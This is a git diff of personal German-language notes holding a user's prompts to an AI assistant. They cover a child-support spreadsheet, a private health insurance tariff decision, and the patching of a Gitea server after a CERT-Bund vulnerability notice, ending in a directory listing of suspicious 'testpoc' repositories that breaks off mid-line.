greift. + +Richard wohnt in Tübingen (Baden-Württemberg), gehört das auch zum SüdL-Verbund? +Du schriebst "Richard war Student, nicht Auszubildender" - ich denke, beim Thema Job Einkünfte zählt das Studium als Richards Ausbildung, also sind die 100 € anrechnungsfrei. +Zur Hälftelung des Rests: Hast du die drei Links dazu in `Q:\W_L_Cloud\W\Richard\Unterhalt\Unterhalt_Richard_seit_2026-04-01.ods` gecheckt? + +Du schriebst "Da unsere Berechnung genau den Zeitraum nach dem Bachelus-Abschluss abdeckt" - sind wir uns einig, dass die Berechnung für jetzt und nach Bachelor-Abschluss für drei Monate nach Bachelor-Abschluss gedacht ist? + +Ich habe eben mit Richard telefoniert: +- Derzeit hat er keine Job-Einkünfte. +- Wahrscheinlich wird er ab 01. Oktober 2026 wieder Job-Einkünfte haben; er gibt mir dann Bescheid. +- Seine Bachelor-Arbeit wird er im Oktober 2026 einreichen, dann kann es aber noch ca. zwei Monate dauern, bis er seinen Bachelor-Abschluss hat. + +--- + +Ja, bitte baue jetzt eine v0p3 für Richard aber so, dass nicht "Phase" oder ähnliche Worte verwendet werden, sondern so, dass es einen leicht verständlichen Schalter gibt. Beispiel: In der Thema-Zelle steht "Bachelor-Abschluss erreicht: 0 für nein, 1 für ja" und in der Zelle daneben trägt der Nutzer dann "0" oder "1" ein. Für die Höhe von Richards Job-Einkünften ab Oktober nutze einen Platzhalter, weil sie momentan ja noch unbekannt ist. + +--- + +Ich habe v0p4 erstellt. + +Die Formel in E54 war falsch, es muss `=WENN(E52>100;-100;0)` heißen. + +Wir haben einen Check für mich drin (`Leistungsfähigkeit des Vaters und Rangfolge (§ 1609 BGB)`), bräuchten wir so einen Check nicht auch für Astrid? diff --git a/Krankenversicherung.md b/Krankenversicherung.md new file mode 100644 index 0000000..fdc20ad --- /dev/null +++ b/Krankenversicherung.md @@ -0,0 +1,128 @@ +# Tarifwechsel private Krankenversicherung + +## Motivation + +Aufgrund angespannter Finanzlage will ich den Tarif meiner privaten Krankenversicherung wechseln, um Geld zu sparen. Ich habe mehrere alternative Tarife von meiner Krankenversicherung angeboten bekommen und brauche nun eine fundierte Empfehlung, welcher Tarif für mich am besten geeignet ist. + +## Über mich + +Ich bin 59 Jahre alt, männlich, gesund, fit, aktiv, Nichtraucher und verheiratet. In den letzten 15 Jahren war ich ausschließlich als Freiberufler tätig und habe meine Krankenversicherungskosten zu 100 % selbst gezahlt. Ab dem 1. Oktober 2026 werde ich für mindestens sechs Monate als Leiharbeitnehmer tätig werden, dabei übernimmt mein Arbeitgeber die Hälfte meiner Krankenversicherungskosten. + +Ich nehme dauerhaft ein Statin-Medikament, um meinen Cholesterinspiegel im optimalen Bereich zu halten; diese Medikament wird von der privaten Krankenkasse bezahlt, wenn ich die Rechnungen dafür einreiche. + +Ich gehe üblicherweise einmal pro Jahr für eine Hautkrebs-Vorsorgeuntersuchung zum Hautarzt. Außerdem werde ich wohl alle zwei Jahre zum Kardiologen zum Routine-Check gehen. + +Bei einem Arzt für funktionelle Medizin habe ich durch regelmäßige Untersuchungen eine optimale Zusammenstellung von Nahrungsergänzungsmitteln (NEMs) gefunden, die ich dauerhaft einnehme; die Kosten für die NEMs übernimmt die private Krankenkasse nicht, aber die Arztkosten werden übernommen. + +2025 hatte ich ein ungewöhnliches Problem mit einem Auge, was durch Radiologie und zusätzliche Untersuchungen die Kosten für die Krankenkasse im Jahr 2025 auf 4.423,25 € hochtrieb; das Problem ist wieder verschwunden. + +## Deine Aufgaben + +Interviewe mich zunächst, bis du alle nötigen Infos hast um die Situation und deine Aufgaben vollständig zu verstehen. + +Studiere das PDF `Q:\Tmp\Barmenia_Alternativen_13173309.pdf` mit den Angeboten der Krankenversicherung. + +Dann spawne einen Opus Subagent, der relevante statistische Daten zusammenträgt. + +Falls danach weitere Fragen oder Ideen aufgekommen sind, interviewe mich nochmal. + +Gib mir dann eine fundierte Empfehlung für den besten Tarif. + +--- + +## A.1. + +7.125,00 €. + +## A.2. + +Angestrebt ist zurück in die Freiberuflichkeit, aufgrund der Marktlage könnte jedoch eine anschließende ANÜ-Tätigkeit folgen. + +Ich plane, möglichst spät in Rente zu gehen. Ja, ich bekomme später eine geringe gesetzliche Rente von der DRV. + +## A.3. + +In 2025 hatte ich ein Netto-Einkommen von 28.583,81 €. +Ich habe keine Ahnung von meinem Grenzsteuersatz 2026/27 (Zusammenveranlagung), bitte schätze du das oder hilf mir dabei. + +## B.4. + +Seit 1. November 1998. +Die im Schreiben erwähnte Probeberechnung für den Standardtarif habe ich nicht bekommen. + +## B.5. + +Ich möchte möglichst bald wechseln, idealerweise noch zum 1. Oktober 2026. + +## B.6. + +Ja, ich habe 2025 eine Beitragsrückerstattung in Höhe von 716,33 € bekommen. +Ja, ich halte Rechnungen für eine Beitragsrückerstattung zurück, wenn es sich lohnt. In 2026 habe ich noch keine Rechnungen eingereicht, weil ich eine Beitragsrückerstattung anstrebe. + +## B.7. + +Das Krankentagegeld würde ich am liebsten kündigen, habe aber im Angebot der Barmenia nichts dazu gefunden. + +## C.8. + +In 2026: Bisher 0 € +In 2025: 4.423,25 € +In 2024: 0 € +In 2023: 4.487,55 € +In 2022: 3.678,77 € + +## C.9. + +Statin: 288 € +Beim Rest müsste ich das erst mit viel Aufwand heraussuchen. +Aus Überzeugung gehe ich nicht zu Zahnärzten und habe deswegen hervorragende Zähne; also keine Zahnarztkosten. + +## D.11. + +Chefarzt und Zweibettzimmer sind mir nicht wichtig. +Maximale Ersparnis ist mir viel wichtiger als ein planbarer Monatsbeitrag. + +--- + +## 1. + +2022 und 2023 waren ungewöhnlich teuer, weil der Arzt der funktionellen Medizin eine besonders umfassende Untersuchung gemacht hat und weil die kardiologischen Untersuchungen nötig waren. In einigen Jahren habe ich Kosten unter 1.000 € pro Jahr. + +Für 2024 schätze ich ca. 500 €. + +Für 2026 haben sich bisher ca. 258 € Kosten angesammelt. + +Der Arzt für funktionelle Medizin kostet inklusive Labor ungefähr 1.500,00 € pro Jahr. + +## 2. + +Die 28.584 € Netto-Einkommen in 2025 als Freiberufler sind meine Privatentnahmen laut Buchhaltung (PN) minus Gezahlte Kranken- und Pflegeversicherung (KV+PV) minus Altersvorsorge-Beiträge (AV). + +Das Bruttojahreseinkommen meiner Frau ist ungefähr 80.000,00 €. + +Für 2026 ist mein Freiberufler-Verlust, also PN minus (KV+PV+AV), 3.402,42 €; also kein Gewinn, sondern Verlust. + +## 3. + +Ja, ich könnte mehrere Monate Krankheit aus Rücklagen oder über das Einkommen Ihrer Frau überbrücken. +Keinen anderen Grund, außer den 41 €/Monat. + +## 4. + +Ja. + +## 5. + +Mir ist wichtig, auch weiterhin zu Ärzten gehen zu können, die nur Privatpatienten oder Selbstzahler behandeln. Deswegen bin ich sehr skeptisch, ob der Standardtarif für mich die beste Wahl wäre. + +--- + +Du schriebst "Befristete Bonusnachlässe der Barmenia entfallen bei jedem Tarifwechsel. Falls Sie einen haben, fragen Sie nach der Höhe." und "Nachfragen, ob Sie einen befristeten Bonusnachlass haben, der beim Wechsel wegfällt". + +Bitte erkläre mir, was Befristete Bonusnachlässe sind. + +--- + +Okay, dann schreibe bitte nun eine übersichtliche .pdf Empfehlung und lege sie in `Q:\Tmp` ab. + +--- \ No newline at end of file diff --git a/Linux-Servers.md b/Linux-Servers.md index cc2e18d..6518879 100644 --- a/Linux-Servers.md +++ b/Linux-Servers.md @@ -511,3 +511,1352 @@ remote Git server via SSH without entering credentials. `git remote add origin ssh://git@git.destengs.com:8085/wbg/destengssv006_bin.git`. 3. Make an initial commit with a reasonable .gitignore to test it. +--- + +Mein Git-Server hat eine Sicherheitslücke. Das BSI schrieb mir über meinen Server-Hoster: +``` +> Sehr geehrte Damen und Herren, +> +> eine kritische Schwachstelle in Gitea (CVE-2026-60004) kann von entfernten +> Angreifenden ausgenutzt werden, um beliebigen Programmcode auf dem Gitea-Server +> mit den Privilegien des Gitea-Dienstes auszuführen. +> +> Die Schwachstelle wurde in Version 1.27.1 geschlossen. +> +> Weitere Schwachstellen (CVE-2026-20896, CVE-2026-27771) ermöglichen entfernten +> Angreifenden ohne Authentifizierung auf private Container zuzugreifen oder die +> Identität beliebiger Benutzer anzunehmen. +> +> Weitere Informationen des Herstellers: +> +> CVE-2026-27771 +> +> +> CVE-2026-20896 +> +> +> CVE-2026-60004 +> +> +> Nachfolgend senden wir Ihnen eine Liste von IP-Adressen in Ihrem Netzbereich, +> unter denen zum angegebenen Zeitpunkt (Zeitstempel UTC) Gitea-Server +> mit einer Version identifiziert wurden, die noch für mindestens eine +> der oben genannten Schwachstelle verwundbar ist. +> +> Wir möchten Sie bitten, den Sachverhalt zu prüfen und zeitnah Maßnahmen +> zur Absicherung der Systeme zu ergreifen bzw. Ihre betroffenen Kunden +> entsprechend zu informieren. +> +> Diese E-Mail ist mittels PGP digital signiert. +> Informationen zu dem verwendeten Schlüssel finden Sie unter: +> +> +> Bitte beachten Sie: +> Dies ist eine automatisch generierte Nachricht. Antworten an die +> Absenderadresse werden NICHT gelesen +> und automatisch verworfen. Bei Rückfragen wenden Sie sich bitte +> unter Beibehaltung der Ticketnummer [CB-Report#...] in der +> Betreffzeile an . +> +> Betroffene Systeme in Ihrem Netzbereich: +> +> Format: ASN | IP | Timestamp (UTC) | Port | Version | Cve +> 24940 | 135.181.78.90 | 2026-09-22 14:33:25 | 80 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004 +> 24940 | 135.181.78.90 | 2026-09-22 19:29:25 | 443 | 1.25.1 | cve-2026-20896;cve-2026-27771;cve-2026-60004 +> +> Mit freundlichen Grüßen / Kind regards +> Team CERT-Bund +> +> Bundesamt für Sicherheit in der Informationstechnik +> Federal Office for Information Security (BSI) +> CERT-Bund +> Godesberger Allee 87, 53175 Bonn, Germany +> +``` + +Mein aktuelles Gitea Container `docker-compose.yml` ist angehängt. + +Bitte finde die letzte stabile Gitea Image Version und aktualisiere sie als statische Version im `docker-compose.yml`. + +Dann schreib mir bitte nochmal kurz die Docker Kommandos auf, wie ich als `root` den Docker Service stoppe und nach Austausch der .yml Datei wieder starte. + +--- + +Danke, ich habe den Gitea Container aktualisiert, der Service läuft wieder. + +Deinem Tipp folgend wollte ich mir die Ordner unter `/opt/appdata/gitea/git/repositories` ansehen, dabei habe ich viele "testpoc*" Ordner entdeckt: +´´´ +root@sv003 /opt/appdata/gitea/git/repositories # ls -alhrt +total 1.2M +drwxr-xr-x 5 admindc admindc 4.0K Nov 21 2025 .. +drwxr-xr-x 3 admindc admindc 4.0K Dec 1 2025 n8n +drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 krtr +drwxr-xr-x 3 admindc admindc 4.0K Dec 4 2025 ncd +drwxr-xr-x 4 admindc admindc 4.0K Feb 24 2026 llm +drwxr-xr-x 3 admindc admindc 4.0K Mar 1 2026 rdms +drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 pln +drwxr-xr-x 3 admindc admindc 4.0K Mar 15 2026 trf +drwxr-xr-x 3 admindc admindc 4.0K Apr 1 10:25 wbg +drwxr-xr-x 3 admindc admindc 4.0K Jun 1 18:02 mkt +drwxr-xr-x 7 admindc admindc 4.0K Jun 12 09:23 tlg +drwxr-xr-x 3 admindc admindc 4.0K Jun 23 20:33 lwc +drwxr-xr-x 4 admindc admindc 4.0K Jul 17 12:31 wlfb +drwxr-xr-x 3 admindc admindc 4.0K Aug 5 20:44 testpoc60874 +drwxr-xr-x 3 admindc admindc 4.0K Aug 6 08:49 testpoc29453 +drwxr-xr-x 3 admindc admindc 4.0K Aug 7 15:56 testpoc43268 +drwxr-xr-x 3 admindc admindc 4.0K Aug 10 10:10 testpoc12153 +drwxr-xr-x 3 admindc admindc 4.0K Aug 10 18:15 testpoc24197 +drwxr-xr-x 3 admindc admindc 4.0K Aug 10 20:31 testpoc85539 +drwxr-xr-x 3 admindc admindc 4.0K Aug 10 22:49 testpoc98694 +drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:01 testpoc78015 +drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:23 testpoc25390 +drwxr-xr-x 3 admindc admindc 4.0K Aug 11 00:47 testpoc92837 +drwxr-xr-x 3 admindc admindc 4.0K Aug 11 01:19 testpoc97168 +drwxr-xr-x 3 admindc admindc 4.0K Aug 11 18:56 testpoc82909 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc81407 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:21 testpoc84892 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc95017 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 00:58 testpoc87960 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 02:40 testpoc60504 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 10:22 testpoc25643 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc51520 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 12:31 testpoc56033 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:04 testpoc38666 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc93555 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 18:20 testpoc46919 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc30819 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 20:14 testpoc84143 +drwxr-xr-x 3 admindc admindc 4.0K Aug 12 23:29 testpoc37242 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 00:12 testpoc56949 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 01:44 testpoc69547 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 09:24 testpoc19409 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc45556 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 11:14 testpoc72460 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:42 testpoc24413 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 14:49 testpoc79954 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 16:53 testpoc73498 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:22 testpoc31492 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 17:30 testpoc84236 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:01 testpoc66853 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 20:08 testpoc96299 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:38 testpoc37593 +drwxr-xr-x 3 admindc admindc 4.0K Aug 13 22:45 testpoc36987 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 00:16 testpoc31664 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc40668 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:03 testpoc53151 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:14 testpoc69854 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 01:21 testpoc80023 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 07:40 testpoc77229 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:29 testpoc71873 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 08:30 testpoc17745 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc53823 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:06 testpoc66756 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:10 testpoc22616 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 12:11 testpoc27265 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 15:10 testpoc34412 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc85061 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:10 testpoc36190 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc73222 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 18:54 testpoc54227 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc46556 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:20 testpoc62541 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 20:42 testpoc61632 +drwxr-xr-x 3 admindc admindc 4.0K Aug 14 22:35 testpoc90545 +drwxr-xr-x 3 admindc admindc 4.0K Aug 15 06:00 testpoc61911 +drwxr-xr-x 3 admindc admindc 4.0K Aug 15 08:34 testpoc95111 +drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc78438 +drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:02 testpoc81170 +drwxr-xr-x 3 admindc admindc 4.0K Aug 15 15:57 testpoc86973 +drwxr-xr-x 3 admindc admindc 4.0K Aug 15 23:22 testpoc18093 +drwxr-xr-x 3 admindc admindc 4.0K Aug 16 06:45 testpoc34060 +drwxr-xr-x 3 admindc admindc 4.0K Aug 16 14:11 testpoc19522 +drwxr-xr-x 3 admindc admindc 4.0K Aug 16 21:35 testpoc39149 +drwxr-xr-x 3 admindc admindc 4.0K Aug 17 04:55 testpoc22320 +drwxr-xr-x 3 admindc admindc 4.0K Aug 17 12:17 testpoc34738 +drwxr-xr-x 3 admindc admindc 4.0K Aug 17 19:43 testpoc48807 +drwxr-xr-x 3 admindc admindc 4.0K Aug 18 03:05 testpoc68152 +drwxr-xr-x 3 admindc admindc 4.0K Aug 18 10:28 testpoc62114 +drwxr-xr-x 3 admindc admindc 4.0K Aug 18 17:52 testpoc79936 +drwxr-xr-x 3 admindc admindc 4.0K Aug 19 01:14 testpoc13243 +drwxr-xr-x 3 admindc admindc 4.0K Aug 19 08:37 testpoc69682 +drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:01 testpoc72852 +drwxr-xr-x 3 admindc admindc 4.0K Aug 19 16:44 testpoc15007 +drwxr-xr-x 3 admindc admindc 4.0K Aug 19 20:46 testpoc86124 +drwxr-xr-x 3 admindc admindc 4.0K Aug 20 02:52 testpoc11637 +drwxr-xr-x 3 admindc admindc 4.0K Aug 20 06:15 testpoc87910 +drwxr-xr-x 3 admindc admindc 4.0K Aug 20 11:54 testpoc82836 +drwxr-xr-x 3 admindc admindc 4.0K Aug 20 18:00 testpoc41185 +drwxr-xr-x 3 admindc admindc 4.0K Aug 20 20:32 testpoc98983 +drwxr-xr-x 3 admindc admindc 4.0K Aug 20 22:20 testpoc19606 +drwxr-xr-x 3 admindc admindc 4.0K Aug 21 04:26 testpoc23912 +drwxr-xr-x 3 admindc admindc 4.0K Aug 21 07:55 testpoc62773 +drwxr-xr-x 3 admindc admindc 4.0K Aug 21 14:01 testpoc78861 +drwxr-xr-x 3 admindc admindc 4.0K Aug 21 15:30 testpoc95173 +drwxr-xr-x 3 admindc admindc 4.0K Aug 21 20:07 testpoc40264 +drwxr-xr-x 3 admindc admindc 4.0K Aug 22 02:13 testpoc26934 +drwxr-xr-x 3 admindc admindc 4.0K Aug 22 08:19 testpoc73319 +drwxr-xr-x 3 admindc admindc 4.0K Aug 22 09:16 testpoc50454 +drwxr-xr-x 3 admindc admindc 4.0K Aug 22 15:22 testpoc19498 +drwxr-xr-x 3 admindc admindc 4.0K Aug 22 21:28 testpoc69640 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 03:33 testpoc97230 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 05:47 testpoc52394 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:39 testpoc40721 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 09:41 testpoc51551 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc27510 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 10:33 testpoc61382 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 15:47 testpoc18831 +drwxr-xr-x 3 admindc admindc 4.0K Aug 23 22:40 testpoc99091 +drwxr-xr-x 3 admindc admindc 4.0K Aug 24 04:46 testpoc86985 +drwxr-xr-x 3 admindc admindc 4.0K Aug 24 10:52 testpoc67871 +drwxr-xr-x 3 admindc admindc 4.0K Aug 24 12:55 testpoc76030 +drwxr-xr-x 3 admindc admindc 4.0K Aug 24 19:01 testpoc87311 +drwxr-xr-x 3 admindc admindc 4.0K Aug 24 23:41 testpoc50982 +drwxr-xr-x 3 admindc admindc 4.0K Aug 25 05:47 testpoc62120 +drwxr-xr-x 3 admindc admindc 4.0K Aug 25 11:52 testpoc22318 +drwxr-xr-x 3 admindc admindc 4.0K Aug 25 17:57 testpoc69014 +drwxr-xr-x 3 admindc admindc 4.0K Aug 26 00:02 testpoc37385 +drwxr-xr-x 3 admindc admindc 4.0K Aug 26 06:08 testpoc98701 +drwxr-xr-x 3 admindc admindc 4.0K Aug 26 12:13 testpoc98443 +drwxr-xr-x 3 admindc admindc 4.0K Aug 26 18:18 testpoc61465 +drwxr-xr-x 3 admindc admindc 4.0K Aug 27 00:23 testpoc80725 +drwxr-xr-x 3 admindc admindc 4.0K Aug 27 06:28 testpoc89134 +drwxr-xr-x 3 admindc admindc 4.0K Aug 27 12:33 testpoc76121 +drwxr-xr-x 3 admindc admindc 4.0K Aug 27 18:38 testpoc75962 +drwxr-xr-x 3 admindc admindc 4.0K Aug 28 00:43 testpoc99832 +drwxr-xr-x 3 admindc admindc 4.0K Aug 28 06:48 testpoc55555 +drwxr-xr-x 3 admindc admindc 4.0K Aug 28 12:53 testpoc20107 +drwxr-xr-x 3 admindc admindc 4.0K Aug 28 18:58 testpoc83027 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:03 testpoc50212 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 01:23 testpoc33280 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:08 testpoc67515 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 07:56 testpoc59645 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 09:27 testpoc84414 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 14:01 testpoc22008 +drwxr-xr-x 3 admindc admindc 4.0K Aug 29 20:06 testpoc54612 +drwxr-xr-x 3 admindc admindc 4.0K Sep 1 08:51 testpoc70617 +drwxr-xr-x 3 admindc admindc 4.0K Sep 1 14:29 testpoc89149 +drwxr-xr-x 3 admindc admindc 4.0K Sep 2 07:15 testpoc12795 +drwxr-xr-x 3 admindc admindc 4.0K Sep 2 09:21 testpoc51398 +drwxr-xr-x 3 admindc admindc 4.0K Sep 3 08:25 testpoc87154 +drwxr-xr-x 3 admindc admindc 4.0K Sep 4 07:19 testpoc96091 +drwxr-xr-x 3 admindc admindc 4.0K Sep 4 20:13 testpoc94765 +drwxr-xr-x 3 admindc admindc 4.0K Sep 5 21:44 testpoc26027 +drwxr-xr-x 3 admindc admindc 4.0K Sep 6 08:11 testpoc51858 +drwxr-xr-x 3 admindc admindc 4.0K Sep 6 14:16 testpoc22861 +drwxr-xr-x 3 admindc admindc 4.0K Sep 6 20:21 testpoc90891 +drwxr-xr-x 3 admindc admindc 4.0K Sep 7 02:25 testpoc33139 +drwxr-xr-x 3 admindc admindc 4.0K Sep 7 08:30 testpoc13803 +drwxr-xr-x 3 admindc admindc 4.0K Sep 7 09:37 testpoc84488 +drwxr-xr-x 3 admindc admindc 4.0K Sep 7 13:39 testpoc11688 +drwxr-xr-x 3 admindc admindc 4.0K Sep 7 17:41 testpoc53646 +drwxr-xr-x 3 admindc admindc 4.0K Sep 7 21:42 testpoc68917 +drwxr-xr-x 3 admindc admindc 4.0K Sep 8 01:43 testpoc83437 +drwxr-xr-x 3 admindc admindc 4.0K Sep 8 05:45 testpoc54590 +drwxr-xr-x 3 admindc admindc 4.0K Sep 8 09:47 testpoc88044 +drwxr-xr-x 3 admindc admindc 4.0K Sep 8 13:50 testpoc17939 +drwxr-xr-x 3 admindc admindc 4.0K Sep 8 17:52 testpoc51371 +drwxr-xr-x 3 admindc admindc 4.0K Sep 8 21:54 testpoc40770 +drwxr-xr-x 3 admindc admindc 4.0K Sep 9 01:54 testpoc28859 +drwxr-xr-x 3 admindc admindc 4.0K Sep 9 05:55 testpoc22366 +drwxr-xr-x 3 admindc admindc 4.0K Sep 9 09:56 testpoc76660 +drwxr-xr-x 3 admindc admindc 4.0K Sep 9 13:58 testpoc10570 +drwxr-xr-x 3 admindc admindc 4.0K Sep 9 17:59 testpoc55506 +drwxr-xr-x 3 admindc admindc 4.0K Sep 9 22:00 testpoc87776 +drwxr-xr-x 3 admindc admindc 4.0K Sep 10 02:01 testpoc10705 +drwxr-xr-x 3 admindc admindc 4.0K Sep 10 06:02 testpoc26965 +drwxr-xr-x 3 admindc admindc 4.0K Sep 10 10:03 testpoc53126 +drwxr-xr-x 3 admindc admindc 4.0K Sep 10 14:04 testpoc33503 +drwxr-xr-x 3 admindc admindc 4.0K Sep 10 18:05 testpoc39441 +drwxr-xr-x 3 admindc admindc 4.0K Sep 10 22:06 testpoc56058 +drwxr-xr-x 3 admindc admindc 4.0K Sep 11 02:07 testpoc19144 +drwxr-xr-x 3 admindc admindc 4.0K Sep 11 06:08 testpoc39192 +drwxr-xr-x 3 admindc admindc 4.0K Sep 11 10:09 testpoc17058 +drwxr-xr-x 3 admindc admindc 4.0K Sep 11 14:10 testpoc63010 +drwxr-xr-x 3 admindc admindc 4.0K Sep 11 18:11 testpoc26355 +drwxr-xr-x 3 admindc admindc 4.0K Sep 11 22:13 testpoc66868 +drwxr-xr-x 3 admindc admindc 4.0K Sep 12 02:11 testpoc53078 +drwxr-xr-x 3 admindc admindc 4.0K Sep 12 06:11 testpoc63807 +drwxr-xr-x 3 admindc admindc 4.0K Sep 12 10:10 testpoc44807 +drwxr-xr-x 3 admindc admindc 4.0K Sep 12 14:10 testpoc32788 +drwxr-xr-x 3 admindc admindc 4.0K Sep 12 18:09 testpoc55027 +drwxr-xr-x 3 admindc admindc 4.0K Sep 12 22:09 testpoc75302 +drwxr-xr-x 3 admindc admindc 4.0K Sep 13 02:08 testpoc36916 +drwxr-xr-x 3 admindc admindc 4.0K Sep 13 06:09 testpoc55395 +drwxr-xr-x 3 admindc admindc 4.0K Sep 13 10:09 testpoc43177 +drwxr-xr-x 3 admindc admindc 4.0K Sep 13 14:08 testpoc20726 +drwxr-xr-x 3 admindc admindc 4.0K Sep 13 18:08 testpoc42534 +drwxr-xr-x 3 admindc admindc 4.0K Sep 13 22:07 testpoc38380 +drwxr-xr-x 3 admindc admindc 4.0K Sep 14 02:06 testpoc69572 +drwxr-xr-x 3 admindc admindc 4.0K Sep 14 06:05 testpoc80463 +drwxr-xr-x 3 admindc admindc 4.0K Sep 14 10:04 testpoc14211 +drwxr-xr-x 3 admindc admindc 4.0K Sep 14 14:03 testpoc86381 +drwxr-xr-x 3 admindc admindc 4.0K Sep 14 18:00 testpoc17722 +drwxr-xr-x 3 admindc admindc 4.0K Sep 14 21:56 testpoc96516 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:24 testpoc68930 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 01:50 testpoc75427 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 05:46 testpoc54842 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 09:45 testpoc97134 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 13:42 testpoc40496 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 17:41 testpoc12313 +drwxr-xr-x 3 admindc admindc 4.0K Sep 15 21:39 testpoc58970 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 01:37 testpoc55339 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 05:36 testpoc63044 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 09:08 testpoc27314 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 11:41 testpoc52384 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 13:06 testpoc35017 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 17:07 testpoc40339 +drwxr-xr-x 3 admindc admindc 4.0K Sep 16 21:05 testpoc39893 +drwxr-xr-x 3 admindc admindc 4.0K Sep 17 01:03 testpoc82705 +drwxr-xr-x 3 admindc admindc 4.0K Sep 17 05:00 testpoc50766 +drwxr-xr-x 3 admindc admindc 4.0K Sep 17 08:57 testpoc32746 +drwxr-xr-x 3 admindc admindc 4.0K Sep 17 12:53 testpoc87888 +drwxr-xr-x 3 admindc admindc 4.0K Sep 17 16:52 testpoc84074 +drwxr-xr-x 3 admindc admindc 4.0K Sep 17 20:50 testpoc57938 +drwxr-xr-x 3 admindc admindc 4.0K Sep 18 00:47 testpoc51346 +drwxr-xr-x 3 admindc admindc 4.0K Sep 18 04:44 testpoc39794 +drwxr-xr-x 3 admindc admindc 4.0K Sep 18 08:40 testpoc84743 +drwxr-xr-x 3 admindc admindc 4.0K Sep 18 12:36 testpoc49129 +drwxr-xr-x 3 admindc admindc 4.0K Sep 18 16:34 testpoc54626 +drwxr-xr-x 3 admindc admindc 4.0K Sep 18 20:30 testpoc40862 +drwxr-xr-x 3 admindc admindc 4.0K Sep 19 00:26 testpoc16652 +drwxr-xr-x 3 admindc admindc 4.0K Sep 19 04:23 testpoc13731 +drwxr-xr-x 3 admindc admindc 4.0K Sep 19 08:19 testpoc94819 +drwxr-xr-x 3 admindc admindc 4.0K Sep 19 12:15 testpoc84836 +drwxr-xr-x 3 admindc admindc 4.0K Sep 19 16:12 testpoc91160 +drwxr-xr-x 3 admindc admindc 4.0K Sep 19 20:09 testpoc69618 +drwxr-xr-x 3 admindc admindc 4.0K Sep 20 00:04 testpoc88367 +drwxr-xr-x 3 admindc admindc 4.0K Sep 20 04:00 testpoc36234 +drwxr-xr-x 3 admindc admindc 4.0K Sep 20 07:56 testpoc85733 +drwxr-xr-x 